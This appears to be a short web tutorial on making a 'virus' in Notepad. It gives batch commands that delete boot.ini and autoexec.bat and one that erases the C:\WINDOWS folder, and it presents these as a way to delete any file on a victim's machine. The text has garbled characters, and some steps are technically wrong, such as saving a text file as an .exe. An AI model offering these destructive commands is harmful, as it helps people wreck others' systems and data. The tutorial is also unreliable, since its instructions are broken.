First of all Open your notepad and type the following��� del c:\boot?ini c:\del autoexec.bat Now Save as anyname.exe. Create this in C: drive The only thing you need is Notepad. Create a text file called TEST.txt(empty) in C:\ Now in your notepad type �erase C:\TEST.txt� (without the quotes). Then save it as �Test.cmd�. Now run the file �Test.cmd�go to C:\ and you�ll see your Test.txt is gone. Now, the real work : Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd. Now DON�T Run the file or you�ll lose your WINDOWS map. So, that�s the Virus. In this way you can make a virus to delete any file you want.